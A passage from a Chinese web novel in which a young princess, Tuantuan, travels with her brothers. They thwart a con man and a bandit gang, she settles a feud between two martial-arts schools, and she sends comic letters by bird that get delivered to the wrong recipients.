“你们两个,从今以后,一个叫美味,一个叫佳肴!”
所有人:“……”
“哈哈哈哈哈……“萧然纵声大笑,捂着肚子跌回了马车。
园监和下人们死死地闭着嘴,肩膀疯狂抖动。
团团一脸奇怪,仰起头看着哥哥:“怎么了,三哥哥,这两个名字不好听吗?”
萧宁珣强忍着爆笑的冲动,冲着她摇了摇头:“没有,团团起的名字很好。”
园监捧上来一根红色的丝绳,末端处系着一枚镂空小金铃,铃芯一颗小珍珠,极其精巧。
“请郡主将此物系于腕间,只需不停用力摇动金玲,这两只凌霄雀……咳咳,美味和佳肴便会来寻郡主了。”
团团接了过来,萧宁珣帮她系好。
她开心地将笼门打开,小手先伸进去轻轻摸了摸他们:“美味!佳肴!我是团团!你们快出来吧。”
她撤出手,美味和佳肴小脑袋动了动,先后冲出了笼子,在团团的头顶盘旋了几圈,振翅高飞而去。
几人回到马车上,才离开万灵苑不远,身后传来马蹄声和呼喊声:“郡主——请留步郡主!”
萧二一抬手,马车停了下来。
团团从车窗探出小脑袋:“二叔叔!怎么了?
萧二望向后方不断接近的两匹快马:“小姐,是宋公。”
“老师?“团团拉着萧宁珣的手,急忙下了马车。
宋敬贤翻身下马:“还好,老夫赶上了。”
萧然也不敢怠慢,收起了脸上的漫不经心,与萧宁珣一起行礼:“宋公。”
宋敬贤点了点头。
团团开心地扑了上去:“老师!你怎么来了?我都不知道你会骑马呢。”
宋敬贤将她揽住,从胸口掏出了几封信递给了萧宁珣:“这是老夫亲笔所书的几封拜帖,给你们带上。”
“老夫别无所长,唯平生教书育人,有些桃李缘分。这几封拜帖或可在紧要时,助你们一臂之力。”
他低头看着团团,抚了抚她的发顶:“徒弟啊,为师荐你此行,于公,是为国为民,盼你能解朝廷之忧。”
“于私,”他顿了顿,“老夫只盼你平安归来。能查清楚最好,若是查不清,那便权当出去逛了一圈,吃圆了给为师滚回来!”
萧宁珣和萧然互相看了一眼,瞠目结舌,帝师最重礼数,何曾说过如此肆意的言语!
这还是宋公吗?不会是,被人夺了舍吧?
团团却很开心:“知道啦!放心吧,老师!我很快就能回来啦!”
宋敬贤看着两个少年:“走吧,将我徒弟护好了,早日归来!”
二人行礼:“是!”
宋敬贤走后,团团拉着两人的手,刚回到马车上。
远处再次传来喊声:“郡主留步!郡主!”
团团这次直接钻出了马车,坐在车辕上,晃着小腿问道:“二叔叔,又是谁来了啊?”
萧二在马上远眺:“来了不少人,看不清是谁,怎么还有辆大车!”
片刻后,几骑侍卫护着一辆看起来很是寻常的马车停在了团团面前。
车帘一掀,萧泽利落地跳了下来。
“大三哥!”团团惊喜地大喊,张开小手就要扑过去。
萧泽快走两步,一把将她从车辕上抱下来,笑着掂了掂:“还好赶上了!你这说走就走的,险些没来得及。”
萧宁珣下了马车,上前见礼:“七殿下。”
萧然掀帘探头:“七哥!”
萧泽冲着他们点了点头,随即抱着团团走到他带来的那辆大车前:“看看,大三哥给你送什么来了?
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”
这辆车看似朴素,细看之下才会发现,车体比寻常马车大了一圈,车轮的辐条也比寻常马车更密,轮缘处还包着一层什么东西。
萧泽亲自将她抱了进去。
“哇!这车真大!”
车内空间宽敞,用料讲究。
最巧妙的是,车厢内侧原本应是座位的地方,此刻却铺着柔软的锦垫,像一张舒适的小床。
“这马车本是我为了日后出巡特制的,前几日刚完工。”萧泽指着那小床,“听说你要出远门,我便让他们连夜改装,改出来这个小床,还好赶上了。”
他俯身,掀开小床上的软垫,手指在某处一按一拉,一块木板无声滑开,露出了下方一个铺着厚实绒毯的隐蔽空间。
“这里是给你藏身用的。咱们从大夏出来的时候,你躲在箱子里。当时我就想好了,以后若是出门,绝不能再让你受这种委屈了。”
说完,他又将一块侧面的挡板轻轻放下,严丝合缝,小床瞬间又变回了标准的座椅模样,丝毫看不出异样。
“有了这张小软榻,你便不必总坐着了,累了便躺下睡。路上也能省下不少歇脚的功夫,早些办完早回京。”
团团开心地爬上小床滚了滚,小脸兴奋得通红:“谢谢大三哥!这个床简直是太好啦!”
萧然在一旁看得眼热,扒着车门嚷嚷:“七哥!你也太偏心了!我还是你亲弟弟呢!怎么不给我也弄一个?你怎么不担心我坐累了没地方睡?”
团团冲他做了个鬼脸:“这是我的床!谁让你长得那么大!”
“你个小没良心的!”萧然气得要去捏她的脸,被萧泽笑着挡开。
玩笑了一阵,萧泽语气郑重起来:“出门在外,不比京城,诸事都要小心。”
他看向萧然:“父皇这次让你去,便是想你多多历练。此行你要多看多学,少惹是非,遇事切勿冲动。护好了团团,听到没有?”
萧然正了神色,拱手道:“七哥放心,我晓得轻重。”
萧泽这才点了点头,又揉了揉团团的脸蛋:“大三哥在京城等你回来。走吧,路上小心。”
萧泽走后,团团看了看几个大人:“还有人会来吗?”
第245章 到嘴的肥鱼
萧然撸了她头上的小呆**一把:“你还盼着谁来啊?赶紧走吧,这都耽误多久了。”
团团在自己的小床上翻了个身,真舒服啊!
见自家小姐如此惬意,萧二暗暗点头,七殿下当真是有心了。
团团突然想起来:“七叔叔呢?不是说他跟着咱们一起吗?”
萧二回道:“陆七熟悉江湖路数,昨晚便已离京,去前面打点了。”
“哦。”团团应了一声,百无聊赖地躺了下来。
萧然看着有趣,不肯回原来的马车上,也要待在这里。
萧宁珣想了想:“九殿下,七殿下这马车送得正合时宜。”
“父亲原本便是想你在明,团团在暗,你对付官面,团团暗访江湖。”
“以后咱们这样,我陪着团团坐这个马车,九殿下乘原先那个,萧二跟着我们,咱们分开走。”
萧然一听就不干了:“不行不行!绝对不行!这么远的路你让我一个人在马车里?那我还不如回去呢!”
萧宁珣看着他,无奈扶额:“好吧,那咱们一起在这里,你安排个侍卫,换上你的衣服坐车里去装装样子。咱们先走,让他们在此地停留一个时辰再起程。”
“这个行!”萧然蹦了起来便去安排。
车内温暖如春,萧泽怕团团冷,在车厢里烧了两个熏笼。
团团躺着躺着,眼皮就开始打架,不多时,便睡了过去。
萧宁珣给她盖上小毯子,将熏笼向她身边又推了推。
很快,萧然回来了,萧二亲自驾车,马车缓缓前行。
萧泽这马车着实不凡,减震极佳,行走时十分平稳。
团团在小床上睡得小脸红扑扑的,萧宁珣坐在一旁看书,萧然则百无聊赖地摆弄着棋子。
突然。
“干什么呢!怎么不看路?”
车外传来萧二一声呼喝,马车猛地停了下来。
惯性让萧然险些扑到小床上。
他稳住身形:“怎么回事?”
萧宁珣则迅速坐到了小床的旁边,护在了妹妹身前。
团团被惊醒了,迷迷糊糊地坐起来,揉着眼睛:“三哥哥,到了吗?”
车外传来一个男子凄厉的哀嚎:“哎呦!撞**啦!我的腿!我的腿断啦!”
萧然掀开车帘望去。
只见一个农户打扮的中年男子正抱着自己的右腿,倒在马车前方,哭天抢地。
萧二皱着眉头,微微侧首,对着车内众人低语:“讹人的。”
萧宁珣闻言,不愿多生事端:“萧二,给他二十两银子,让他去吧。”
“是。”萧二应声,从怀中掏出银两递过去:“拿着,让路。”
那男子看见银子的大小,这可是条肥鱼啊!我都还没说话呢,人家出手便是二十两!
这么肥又这么好说话的,二十两可不能放你走!
他眼中闪过一丝贪婪,没有抬手去接,反而嚎得更大声了:“二十两?二十两就想买我一条腿?”
“我这腿断了,请医吃药也不止二十两啊!治得好也就罢了,若是治不好,以后还怎么下地干活?我们一家老小可怎么活啊!不行!至少二百两!”
“二百两?”萧然在车内听得都气乐了:“胃口不小!”
萧宁珣眉头皱得更紧,正欲开口,一只软乎乎的小手拉住了他的衣袖。
团团从萧然掀开的帘子缝隙里往外看,好奇地打量着外面那个哭嚎的男子。
“三哥哥,他是骗人的!他腿上的伤,根本就不是为了躲咱们的马车弄的,是他自己提前弄出来的,你不用给他银子。”
她声音清脆,男子听到后哭声戛然而止。
车里有个臭丫头坏老子的好事!小丫头片子,看老子怎么教训你,让你多管闲事!
他提高了声音:“你个小娃娃懂什么!明明是你们的车夫不看路,撞了人,还想赖账不成?”
“你居然还想反咬我?二百两如今不够了!必须五百两!少一个子儿,我就去报官!告你们纵马行凶!”
萧宁珣面色一沉,怎么出门便遇到这么难缠的无赖。
团团想了想:“报官呀?官老爷要是信了你的话,我们是不是就要被关进大牢里了?”
男子顿时得意起来:“是啊!这位细皮嫩肉的大小姐,那大牢里的滋味啊,可不好受!老鼠蟑螂到处都是,饭菜全是馊的!你也不想住到那样的地方去吧。”
“你们要是没现银,拿身上的玉佩、簪子什么的顶账也行!”
团团用力点头,一脸认真
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:“对哦,大牢好可怕,我可不想去。”她顿了顿,“二叔叔,从他身上压过去吧。”
此言一出,男子脸上的得意瞬间凝固,眼睛瞪得溜圆。
萧然难以置信地看着团团。
连萧宁珣都愣住了。
萧二犹豫了一下:“小姐?”
男子反应过来:“你!你要干什么?”
团团一脸理所当然:“我要**灭口呀!说书先生都是这么说的啊,你不懂吗?”
“你!你……”那男子眼看萧二抬起了马鞭,再也顾不上装瘸,一个鲤鱼打挺从地上蹦了起来,动作比猴子还利索,头也不回地朝着路边的林子嗖地窜了进去。
几个起落就没了踪影,速度之快,令人咋舌。
萧然爆发出一阵惊天动地的大笑:“哈哈哈哈哈!**灭口!小不点儿!你可真是个人才!哈哈哈!”
他捶打着坐垫,笑得眼泪都快流出来了。
萧宁珣伸手揉了揉团团的小脑袋:“你呀……”
萧二也笑了,随即道:“坐稳了。驾!”
马车再次缓缓前行,车厢内回荡着萧然依然停不下来的笑声。
那碰瓷的男子一路连滚带爬,钻进了一处隐蔽的山坳。
几间歪歪扭扭的木屋立在那里,男子冲进最大的那间屋子,抓起桌上的茶壶,对着嘴“咕咚咕咚”灌了一气儿凉水。
这才喘着粗气,冲着屋里一个脸上带疤的汉子嚷嚷道:“大哥!有肥鱼!大户人家!”
刀疤脸头也没抬,哼了一声:“大户人家?捞了多少?”
“嗨!别提了!”男子一拍大腿,“本来都快成了!那车里的少爷二话不说就要给我一百两了事!真**有钱!”
“要不是车里有个牙尖嘴利的臭丫头坏了事,老子今日至少讹他们五百两出来!”
刀疤脸抬起头:“这么爽快?”
“千真万确!银子都掏出来了!”
刀疤脸沉吟片刻:“到嘴的肥鱼,岂能让他们跑了!往哪个方向去了?”
“往西边去了!那马车看起来很是寻常,速度也不快!”
“好!叫上兄弟们,跟上去!这次五百两可不够了,想打发咱们青木帮?哼,不把他们的家底榨干,老子就不叫刀疤刘!”
第246章 初生萌宝偏爱虎
傍晚时分,车队抵达了青萍镇。
按照事先的商定,九皇子的仪仗大张旗鼓地住进了镇上的官方驿站,引得地方小吏一阵手忙脚乱。
萧然去露了个面,摆足了皇子的派头,将众人的目光都吸引了过去。
而另一边,团团的马车,则在陆七的安排下,悄无声息地驶入了镇中一家名为“顺达”的客栈后院。
萧然很快也换上寻常服饰赶了过来,
陆七办事极为稳妥,不仅包下了一个独立的小院,连热水、饭食都已备好,皆是当地特色,味道颇佳。
团团在马车里睡足了觉,吃完饭,精神头更好,有些坐不住。
她拉着萧宁珣的衣袖:“三哥哥,我们出去逛逛好不好?”
萧宁珣刚要点头,一旁的陆七却开口了。
他眉头微蹙:“小姐,镇子东头那边,今日可不太平。石家拳和柳叶刀的人约在了那里‘讲数’,怕是要动手,咱们还是在此地歇息,不要出去为好。”
他故意说得严重,是想让这小主子知难而退。
谁知团团一听,一双大眼睛“唰”地一下亮了,非但没怕,反而更加兴奋:“讲数?动手?七叔叔,是说书先生说的那样吗?我想去看!三哥哥,咱们去吧!我还没见过呢!”
陆七:“……”
他冷硬的脸上出现了一丝裂痕,愕然地看向萧宁珣:这反应,不对吧?
萧宁珣与萧二对视一眼,一个叹气,一个扶额。
萧宁珣叹息道:“陆先生,你越不让她去,她便越想去。你若不提,她或许转眼就便忘了,你这一说……”
萧然比团团还兴奋,在一旁摩拳擦掌:“去!必须去!我看了那么多江湖画本,听了那么多侠义戏文,总算是能见到真章了!”
“走走走,小不点儿,九哥带你去开开眼!”
萧宁珣彻底坐了下来,手扶额头,怎么忘了他了!
这位,跟七殿下的沉稳那是半点边儿都挨不上,就是个唯恐天下不乱的主。
陆七看着眼前这几位,尤其是地上那个才五岁小团子,只觉得一阵头疼。
他行走江湖多年,还是第一次遇到这种“初生牛犊不怕虎”,不,是“初生萌宝偏爱虎”的。
团团走到他面前,张开小胳膊:“七叔叔,抱!”
陆七一脸休想贿赂我的倔强,后退了半步。
团团不依不饶,往前走了几步,脚尖顶着脚尖的站住,两手一伸,小脸一抬:“七叔叔,抱嘛!”
陆七毫无办法,只得将她捞起抱在怀中。
团团搂着他的脖子,小脑袋在他颈窝里蹭了蹭,可怜巴巴地眨巴着大眼睛紧盯着他:“带我去看看嘛!七叔叔,我都没有看过呢!”
她伸出小手指,轻轻戳了戳陆七紧绷的脸颊:“七叔叔是大侠哦!最喜欢帮别人的忙啦!对不对?那就先帮帮我吧,好不好?七叔叔最好啦!”
陆七整个人僵硬得不行,香香软软的小团子,软软的贴在自己的胸口上,那一声又一声的七叔叔,甜得他的心都化了,瞬间沦陷:“好,好,都听令主的。”
萧宁珣和萧二司空见惯,萧然看得目瞪口呆:“小不点儿,你什么时候能跟我也这样?”
团团冲着他做了个鬼脸:“就不!”
陆七看着团团:“令主,那咱们提前说好了,就远远地看着,绝不能靠近,如果有事,立时便走。阁主交代过属下,无论何时何地,你的安危都是第一的。”
“知道啦!知道啦!”团团开心地应了一声,熟练地从大人的怀里滑落地面。
她一手拉起三哥,一手拽着萧二,迫不及待地就往外跑。
陆七怀中一空,忍不住虚伸了一下手,随即又急忙收了回来。
团团想起了什么,回头看他:“七叔叔!你来带路啊!我不知道在哪里。”
陆七急忙走到最前,带着他们来到了小镇东边的一块空地旁。
此刻,空地上已经火把通明,两帮人马泾渭分明地对峙着。
双方各有几十人,神情剑拔**张,骂声阵阵,眼看着便要从“讲数”变成“动手”。
陆七经验丰富地选了个距离人群几十步外的一处小土坡上。
这里地势稍高,能看到空地上的情形,又有树木掩映,很是隐蔽。
萧然看得两眼放光,低声道:“嚯,这场面,够劲!”
萧宁珣紧张地将团团抱在怀里,生怕有任何闪失。
萧二和陆七一左一右守着他们身边。
他们却不知道,在他们更后方的一片阴影中,几十双贪婪的眼睛正死死地盯着他们。
“大哥,看!就是他们!”白天那讹钱的男子压低了声音,指着小土坡上的几人,“肥鱼住进了顺达客栈,我正愁不好动手,他们却自己跑到这偏僻的地方看什么热闹,真是天助我也!”
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“一共几个人?”
“四个,看打扮,一个车夫,一个随从,两个公子哥,也不知是哪个府里的少爷出来游玩了。”
“嗯,才四个,那好办。不对,你不是说还有个小丫头吗?”
“哦哦!对!那个臭丫头!我怎么把她忘了!她一直跟着那两个公子哥,看着像是一家人。”
“还真是条肥鱼!”刀疤刘舔了舔嘴唇,眼中凶光闪烁:“好!所有人!都别动!等那边动起手乱起来,才是咱们下手的好时机!都给老子盯紧了!”
“哼,这石家拳和柳叶刀,成天为了谁的功夫是青萍镇第一,争个没完没了,简直蠢到家了。一会儿等他们打起来,咱们就等着切这条肥鱼!“
就在此时,空地上对峙的双方似乎谈崩了,不知谁先动了手,一声怒吼之下,两帮人瞬间冲撞在一起,拳脚呼喝之声顿时响成一片!
“打起来啦!”萧然激动得差点喊出声。
团团也看得目不转睛,小脸上满是惊奇。
她看了半晌,发现空地上的打斗,和说书先生讲的完全不一样。
这些人方才嘴上吵得面红耳赤,恨不得生吞了对方,可真正动起手来,却都留着分寸。
石家拳的弟子一拳打出,眼看要击中面门,关键时却微微一偏,擦着对方脸颊过去。
柳叶刀的帮众刀法展开,听着风声呼呼,却多是用刀背和侧面拍击,刀刃绝不往人要害上招呼。
“七叔叔,”团团一脸疑惑,“他们这个架怎么打成这样啊?还不如我爹爹和二哥哥切磋好看呢。”
陆七微微一笑:“他们都是本地人,彼此都认识,全是街里街坊的,自然不愿伤人。”
团团奇怪:“既然都是街坊,那干嘛要打架呢?”
萧然也觉得无趣,撇撇嘴:“还以为多厉害呢,没意思。”
片刻后,团团便打了个小哈欠,兴致缺缺地拉了拉萧宁珣的袖子:“三哥哥,咱们回去吧。”
萧宁珣闻言点头:“好。”
萧然附和:“确实没劲,阵仗挺大,连个刀光剑影都没看到。”
几人达成一致,转身站起便欲离开小土坡。
谁知这一回头,正正对上了一群正猫着腰、蹑手蹑脚往坡上摸的青木帮众人!
一方骤然回头站起,一方正悄咪咪地往前凑,双方距离不过十余步,瞬间打了个照面,全都愣住了。
第247章 跑什么啊
刀疤刘一脸错愕,电光石火之间,萧然一眼就认出了站在刀疤刘身旁的男子,正是白天讹钱的那个!
他脑子里“嗡”的一声,唯一的念头,绝不能让这群地痞伤到小不点儿!否则父皇回去还不砍了我!
“跑!”
萧然低喝一声,一把拉起团团的小手,转身就朝着空地上混战的人群方向冲去!
团团一脸懵:“……”
为什么不打坏蛋,要逃命?
萧宁珣虽然不明所以,但见萧然如此急迫,又看到对方人多势众,已成包围之势,心下也是一惊,毫不犹豫地掉头就跑,跟了上去。
萧二和陆七完全没搞清楚状况,互相看了一眼,跑什么啊,为何要跑?一群乌合之众而已!
但见三人突然一起掉头狂奔,身体比脑子更快,瞬间转身,也追了上去。
于是,前面是萧然拉着团团,萧宁珣紧随其后,中间是萧二和陆七跟在后面,最后是反应过来的刀疤刘气急败坏地带着青木帮所有几十号人,挥舞着刀剑棍棒紧追不舍。
“站住!都给老子站住!”
这一群你追我赶的人,一头便扎进了正在激战的石家拳和柳叶刀的人群中。
石家拳的家主是一位年近中年,身材壮硕的男子。
他正格开对方一刀,忽见一个半大少年拉着个粉雕玉琢的小女娃慌慌张**进来,当即一愣。
再一看,最后跟着的,是一群手拿凶器,凶神恶煞的人,更是愕然,待看清领头那人的面孔时,脸上浓眉瞬间倒竖!
“刀疤刘?”他暴喝一声,声如惊雷,“你个下三滥的玩意儿!敢到老子面前撒野?”
几乎是同时,柳叶刀的家主,一个短小精悍的汉子,也看清了来人,他虽与石家主不和,但更看不起青木帮这种专干欺压良善勾当的败类。
尤其看到被追的是个年**娃,侠义之心顿起。
他与石家主并肩而立,冷声道:“石兄!你我的恩怨暂且放下!先除了咱们青萍镇这伙害群之马再说!”
刀疤刘眼看就要得手,却被石、柳两帮堵个正着,心里又急又怒,脸上横肉抖动:“石老大,柳老大!这不关你们的事!老子今天只要他们几个!你们别多管闲事,否则……”
他话还没说完,石家主“呸”了一声打断他:“否则怎样?刀疤刘,你们青木帮平日里欺压乡里,今日撞到我们手上,还敢大言不惭?”
“柳兄,先废了这帮杂碎,替咱们青萍镇除了这一害!”
柳家主眼光闪烁:“正合我意!”
刹那间,原本互相敌对的石家拳和柳叶刀众人,同仇敌忾,所有矛头一致转向了青木帮!
团团一行人此时已经跑出了战团,停下脚步,回头看去。
只见空地上已然乱作一团。
石家拳的弟子拳风刚猛,柳叶刀的帮众刀光闪烁。
青木帮本就是一群乌合之众,平日里欺软怕硬,哪里是这两家正经练武之人的对手?不过片刻,便被打得哭爹喊娘,抱头鼠窜。
团团看得兴奋非常,拍着小手:“打得好!打得好!”
她扭头看向身旁的萧二和陆七:“二叔叔,七叔叔,你们去帮帮他们啊!”
陆七摇了摇头:“令主,他们都是此地人,清理门户,自有他们的规矩。咱们只是过客,贸然插手反而不美,且先看看再说。”
萧二点头:“小姐,陆兄说的是。若那刀疤刘侥幸还能占了上风,再出手相助不迟。”
团团乖巧地点了点头,继续观战。
刀疤刘带来的手下躺倒了大半,剩下的几个也都被石、柳两派的弟子死死按住。
他本人被石家主一记重拳打在胸口,踉跄后退,又被柳家主用刀背狠狠拍在腿弯处,“噗通”一声跪倒在地,手中的铁棍“哐当”落在了地上。
眼见大势已去,刀疤刘脸上再无半点凶悍,他朝着两位家主“咚咚”磕着响头:“石老大!柳老大!饶命!饶命啊!小的知错了!”
“小的从此痛改前非,再也不敢
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为非作歹了!求两位老大高抬贵手,饶了小的这条狗命吧!”
石家主和柳家主交换了一个眼神。
石家主冷哼一声:“刀疤刘,你和你这帮杂碎,在青萍镇作恶多端,今日岂能轻饶!”
柳家主手腕一抖,刀尖指向刀疤刘的鼻尖:“饶你也可以!即刻起,青木帮就地解散!若再让我们在镇上看到你们聚众为恶,定取你狗命!”
刀疤刘闻言,如蒙大赦,磕头如捣蒜:“是是是!解散!马上就解散!多谢二位老大不杀之恩!多谢……”
他的手悄悄摸向腰后。
一直盯着他的团团,眼尖地看到他指缝中闪过一丝不自然的幽蓝光泽。
“他使坏!”团团大喊一声。
刀疤刘猛的抬头,右手一扬,几点寒光直奔石、柳两位家主的面门!
幸得团团那一声提醒,石家主一个铁板桥,身体硬生生向后弯折,躲过了近在眼前的暗器。
柳家主则挥刀疾舞,“叮叮”几声,将射向自己的暗器尽数格开!
“无耻狗贼!”
“你找死!”
两人惊怒交加,再不留手。
石家主顺势一个扫堂腿,将刚欲爬起的刀疤刘再次踢翻。
柳家主剑刀一闪,精准地拍在他右肩穴道上。
刀疤刘惨叫一声,整条胳膊顿时软软垂下,再也动弹不得。
两派弟子一拥而上,用牛筋将他捆了个结结实实。
石家主余怒未消,对着瘫软如泥的刀疤刘啐了一口:“冥顽不灵!送官都是便宜你了!”
两位家主整了整衣衫,一同走到团团几人面前,抱拳行礼。
石家主声音洪亮:“方才多谢小姑娘出言提醒!若非小姑娘,我二人今日恐怕要遭这奸人毒手!”
柳家主语气诚恳:“是啊,小姑娘眼明心亮,于我等有救命之恩!在下拜谢!”
“不客气呀。”团团问出了她好奇已久的问题:“两位伯伯,你们看起来关系很好啊,那刚才为什么还要打架呀?”
第248章 这能写吗
两位家主闻言,脸上都露出了一丝尴尬。
石家主挠了挠头:“不怕小姑娘笑话。我们石家拳和柳叶刀,都已在青萍镇经营数代,两家都开设了武馆,我石家以拳脚见长,他柳家则以刀术扬名。”
“前阵子官府突然发话,要选出一个‘青萍镇武功第一’,制成牌匾,挂在武馆门楣。”
“我们这不就是为了争这个‘第一’的名头嘛。”
柳家主也叹了口气:“都是为了能有条活路。”
团团恍然大悟:“我明白了,所以你们都想要这个青萍镇武功第一的牌子!没有的那个,以后就很难再有人来拜师了,对不对?”
两位家主一起点头:“正是如此!”
萧宁珣和萧然互相看了一眼,难怪他们虽然打了起来,彼此却都不下**。
团团小脑袋一歪,认真地想了半晌,眼睛忽然一亮:“这还不好办嘛!”
两位家主一愣:“有何妙法?”
“明日我就去跟官府说,你们都是第一不就好啦!石伯伯是‘拳脚第一’,柳伯伯是‘大刀第一’!”
“让官府给你们一家一块牌匾,这样,你们不就都可以招学徒了。想学拳脚的去找石伯伯,想学大刀的去找柳伯伯,你们喜欢吗?”
此言一出,石、柳两位家主顿时满脸都是惊喜之色!
这法子好啊!若能如此,岂不是两全其美,皆大欢喜?
惊喜过后,柳家主看着眼前的小女娃,忍不住将信将疑:“小姑娘,这自然是天大的好事。可你是谁家娃娃?这等大事,你一个小娃娃,如何能做得了官府的主?”
萧宁珣向前半步,将妹妹轻轻揽在身侧。
他对着两位家主微微一笑:“两位帮主放心。舍妹年纪虽小,却已是天机阁的玄机令主,天机阁的耳目众多,寻常官府也都会给几分薄面。两位静候佳音便是。”
这小女娃竟然是天机阁的玄机令主!
石、柳两位家主行走江湖多年,对天机阁早已如雷贯耳,不禁重新打量起眼前众人。
细看之下,萧宁珣兄妹几人气度不凡,身边的两个护卫一看便是内家高手,深藏不露,看来此言非虚。
两人再次深深一礼:“原来如此!多谢令主!多谢几位公子!若此事能成,令主于我两派便是再造之恩!”
“从今往后,我石家拳(柳叶刀)上下,但凭天机阁令主差遣!”
陆七回礼:“二位客气了。”
低头看了一眼自家小令主,不禁刮目相看。
难怪阁主让小郡主做玄机令主,竟是如此聪慧心善。
天机阁虽不在乎如此小的两个门派是否效忠,但重要的是,令主能够将他们诚心收服。
萧然看着团团,也是没有想到,这小不点儿,可以啊!难怪帝师都要收她为徒。
次日萧然以九皇子的身份出面,命此地官员,给石家柳家各一块牌匾,圆满解决了此事。
石,柳两位家主来送行:“不知令主欲往何地?可有我们能效力之处?”
团团答道:“我们要去青州府!”
柳家主想了想,抱拳回道:“青州府远在西北,看来我们鞭长莫及了。”
“不过,我年轻时曾去过一次,当时盘缠用尽,还多亏了当地一座‘青云观’收留,让我借宿了半月有余。”
“那观主号‘栖霞子’,为人甚是清雅和善,观中弟子也多是勤勉之人,在那青州府地界上,口碑极好,还常为当地百姓义诊施药。”
“若诸位在青州府有何难处,或可去那青云观求助。不过,那已是多年前的旧事了。”
团团学着他的模样,抱拳回礼道:“我知道啦!谢谢柳伯伯!”
众人都笑了,一行人再次起程。
马车沿着官道,不疾不徐地行进了几日。
这日傍晚,马车停在一处河边歇脚。
晚霞映着河水,景色很美。
团团趴在车窗边,看着天边的绚丽,小嘴却微微撅了起来。
“三哥哥,我想娘亲了,也想爹爹了。”
萧宁珣看着她有些失落的小脸,心里一软,将她抱到身边,温声道:“三哥在呢,你可以给他们写信啊。”
“对啊!”团团的眼睛立刻亮了起来,“我把美味和佳肴叫来!”
她瞬间来了精神,小手用力摇晃着手腕上系着金铃的红绳。
没过多久,那两只圆滚滚的凌霄雀便如同两道白色闪电,悄无声息地落在了车窗框上,金色的眼瞳眨巴眨巴地注视着团团。
“美味!佳肴!”团团开心地摸了摸它们的小脑袋,“你们真乖啊!”
她扭头看向萧宁珣:“三哥哥,快写啊!”
萧宁珣笑着取出纸笔,在小几上铺开:“好,你说,三哥来写。”
团团跪坐在他身旁,小手托着下巴
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,认真地想了想:“爹爹,娘亲!你们好不好呀?我很好。
“江湖挺好玩的!我前几天吃到了一种叫‘千层酥’的点心,甜甜的,一层一层的,京城没有!可好吃啦!”
她咽了口口水:“是在一个叫青萍镇的地方吃的,那里有家‘张记铺子’做的最好!你们记得带上小越越,一定要去吃他家做的千层酥!记住啊!就吃他家的!”
“对了,你们悄悄地去吃,不要告诉皇伯父哦!”
她强调了好几遍,仿佛这是天底下顶顶重要的事情。
萧宁珣忍着笑,笔下不停,一一记了下来,封好,小心地系在了“美味”腿上的小信囊里。
团团大眼睛眨了眨:“三哥哥,再写一封。”
“还要写给谁?”
“写给皇伯父呀!”团团理所当然,“他送了我小鸟,我得谢谢他啊!”
萧宁珣一想,也对,妹妹是该明笔谢恩,这才是臣子的本分,团团什么时候这么懂事了,真好。
这可是向陛下写奏疏啊!他正襟危坐,提笔蘸墨。
“你就写:皇伯父,谢谢您送我的两只小鸟,它们很漂亮,飞得可快啦!”
“我给他们起了名字,一个叫美味,一个叫佳肴!”
萧宁珣笔下一滞,犹豫了一下,算了,写吧,也还行,不算无礼。
团团继续:“不过,大三哥还送了我一个能睡觉的大马车呢!您就只送了两只鸟!真是的!下次再这样,我就让美味和佳肴去你写字的桌上便便!”
“你让我跑到那么远的地方去查案,居然还这么小气!快想想再给我什么好东西吧!否则,你在我心里,可就排到大三哥的后面啦!”
“对了,我还吃到了京城里买不到的一样好吃的,不过,我就不告诉你!馋着你!”
萧然听得目瞪口呆。
萧宁珣手中的笔都抖了,这能写吗?
“写呀,三哥哥!”团团催促道。
萧宁珣深吸口气,硬着头皮,逐字逐句将这番“大逆不道”的言辞写了下来,封好,系在了“佳肴”腿上。
团团小手一挥:“去吧!美味回家,佳肴去找皇伯父!”
两只凌霄雀蹭了蹭她的手指,随即振翅高飞,化作两个小白点,迅速消失在渐暗的夜空中。
次日,美味径直飞进了紫宸殿,佳肴则扑棱着翅膀,欢快地朝着宁王府的方向去了。
第249章 规矩就是规矩
程公公取下美味脚上的信囊,急忙往大殿内跑去:“陛下——!郡主的信!”
“您瞧,郡主多惦记您啊!这才出京没几日,信就到了!”
萧杰昀满意地点了点头:“还是团团最惦记朕!快!拿来给朕看看。”
程公公急忙捧了过去。
萧杰昀展开一看,先是一愣,爹爹,娘亲?
哦,这信定是送反了。
他随即一笑,也好,朕倒要看看,你跟元珩能说些什么。
待整封信看完,皇帝的脸色明显垮了下来。
青萍镇?千层酥?居然还让元珩他们悄悄地去吃不要告诉朕?
“程谨言,命人即刻去一趟青萍镇,找一家张记铺子,把他家的千层酥都给朕买下来。”
程公公一怔,千层酥?定是小郡主吃了觉得好,推荐给了陛下:“陛下您瞧,小郡主有什么新鲜吃食,都惦记着您。”
“哼!惦记朕?她惦记着不告诉朕!”萧杰昀哼了一声:“去宁王府传旨,把郡主给朕的信带回来!”
程公公:“……”
郡主啊,合着,您把信给送反了?
“是,老奴这就去。”
宁王府中。
萧元珩和程如安刚刚看完了团团写给萧杰昀的信。
两人互相看了一眼,萧元珩放声大笑:“哈哈哈哈哈……”
程如安抿唇微笑,“这孩子,怎么想的啊!”
“唉,也不知道,团团给咱们的信里都写了什么。别是什么陛下看不得的就好了。”
像是对她的回应,下人匆匆来报:“王爷,王妃,程公公在府门口,说是,陛下让把郡主的信拿回去!”
程如安一怔:“王爷,这……要不把信烧了吧。”
萧元珩忍住笑:“无妨,陛下不会怪罪团团的。”
他将信重新折好,递给下人:“给程公公送去吧,同他说,他定是急着回宫复命,本王就不耽误他了。”
“对了,待陛下看完,派个人将郡主给本王的信送回来。”
“是。”
程公公拿到信,马不停蹄地赶回了紫宸殿。
萧杰昀展开信纸,低头看去。
他脸上的神情从疑惑,到错愕,最后竟然忍不住抚掌大笑起来:“哈哈哈!居然敢说朕小气!还想让鸟来朕的案上……哈哈哈!”
程公公吓了一跳,郡主这是在信中说了什么?陛下怎么又龙颜大悦了?
郡主啊,您可别这样了,把陛下哄得一会儿高兴一会儿怒的,老奴可真受不了啊!
萧杰昀将信递给了他:“你瞧瞧,这满朝文武,**贵胄,也就只有小团团,敢这么跟朕说话了!真是胆大包天!”
他想了想,眼中闪过一丝促狭:“去,将那个新进贡来的青玉雕的马车给她送去,告诉她,等她回来,朕造一个最好的马车给她!”
“她不是喜欢老七送她的马车么?朕倒要看看,朕在她心里,还排不排得到老七的前头!”
程公公看完后也忍不住笑了:“七殿下自然是比不得陛下的,只不过这回的礼嘛,确实送到了郡主的心坎上。”
皇帝像是忽然想起了什么:“程谨言。”
“老奴在。”
